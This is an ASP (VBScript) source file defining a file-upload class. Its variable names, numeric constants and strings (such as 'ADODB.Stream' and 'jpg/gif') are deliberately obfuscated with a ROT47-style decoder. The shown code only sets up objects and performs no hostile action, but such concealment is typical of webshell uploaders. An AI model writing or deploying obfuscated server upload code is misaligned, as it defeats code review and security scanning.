<%
Dim PPOPO,PPOPP,PPPOO,PPPOP,PPPPO
Set PPPOO=Response:Set PPOPP=Request:Set PPPPO=Session:Set PPOPO=Application:Set PPPOP=Server
Class POPOOO
Private POPOOP,POPOPO,POPOPP,POPPOO,POPPOP,POPPPO,POPPPP
Private PPOOOO,PPOOOP,PPOOPO,PPOOPP,PPOPOO
Public	PPOPOP,PPOPPO
Public Property Get POOOOO
POOOOO=POPPPP
End Property
Public Property Let POOOOO(PPPPOO)
POPPPP=PPPPOO
End Property
Public Property Get POOOOP
POOOOP=POPOOP
End Property
Public Property Let POOOOP(PPPPOP)
if isNumeric(PPPPOP) then POPOOP=Clng(PPPPOP)
End Property
Public Property Get POOOPO
POOOPO=POPOPO
End Property
Public Property Let POOOPO(PPPPOP)
if isNumeric(PPPPOP) then POPOPO=Clng(PPPPOP)
End Property
Public Property Get POOOPP
POOOPP=POPOPP
End Property
Public Property Let POOOPP(PPPPPO)
POPOPP=PPPPPO
End Property
Public Property Get POOPOO
POOPOO=POPPOO
End Property
Public Property Let POOPOO(PPPPPP)
POPPOO=Replace(PPPPPP,chr(0),"")
End Property
Public Property Get POOPOP
POOPOP=POPPOP
End Property
Public Property Let POOPOP(byVal Flag)
select case Flag
case 0,1,2: POPPOP=Flag
end select
End Property
Private Sub Class_Initialize
POPPPO	   = - (85*81-6884)
POPPPP  = PPPPP(ChrW(56)&ChrW(51)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
POPOOP= (92*105-9660)
POPOPO  = (76*62--148888)
POPOPP = PPPPP(ChrW(59)&ChrW(65)&ChrW(56)&ChrW(94)&ChrW(56)&ChrW(58)&ChrW(55))
POPPOO = ""
POPPOP = (92*105-9660)
Dim PPOPPP : PPOPPP = Date()
PPOOPP  = Year(PPOPPP)&Right("0"&Month(PPOPPP),2)&Right("0"&Day(PPOPPP),2)
PPOPOO  = Clng(Timer()*1000)
Set PPOOOP = PPPOP.CreateObject(PPPPP(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(54)&ChrW(50)&ChrW(62)))
Set PPOOPO = PPPOP.CreateObject(PPPPP(ChrW(112)&ChrW(115)&ChrW(126)&ChrW(115)&ChrW(113)&ChrW(93)&ChrW(36)&ChrW(69)&ChrW(67)&ChrW(54)&ChrW(50)&ChrW(62)))
Set PPOOOO = PPPOP.CreateObject(PPPPP(ChrW(36)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(63)&ChrW(56)&ChrW(93)&ChrW(115)&ChrW(58)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(50)&ChrW(67)&ChrW(74)))
PPOOOO.CompareMode = (85*81-6884)
End Sub
Private Sub Class_Terminate
PPOOOO.RemoveAll
Set PPOOOO = nothing
Set PPOOPO = nothing
PPOOOP.Close()
Set PPOOOP = nothing
End Sub
End Class
Function PPPPP(ByVal PPPOPP)
Dim PPPOOO, PPPOOP, PPPOPO
PPPOPP = Replace(PPPOPP, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For PPPOOP = 1 To Len(PPPOPP)
If PPPOOP <> PPPOPO Then
PPPOOO = AscW(Mid(PPPOPP, PPPOOP, 1))
If PPPOOO >= 33 And PPPOOO <= 79 Then
PPPPP = PPPPP & Chr(PPPOOO + 47)
ElseIf PPPOOO >= 80 And PPPOOO <= 126 Then
PPPPP = PPPPP & Chr(PPPOOO - 47)
Else
PPPOPO = PPPOOP + 1
If Mid(PPPOPP, PPPOPO, 1) = PPPPP(ChrW(111)) Then PPPPP = PPPPP & ChrW(PPPOOO + 5) Else PPPPP = PPPPP & Mid(PPPOPP, PPPOOP, 1)
End If
End If
Next
End Function
%>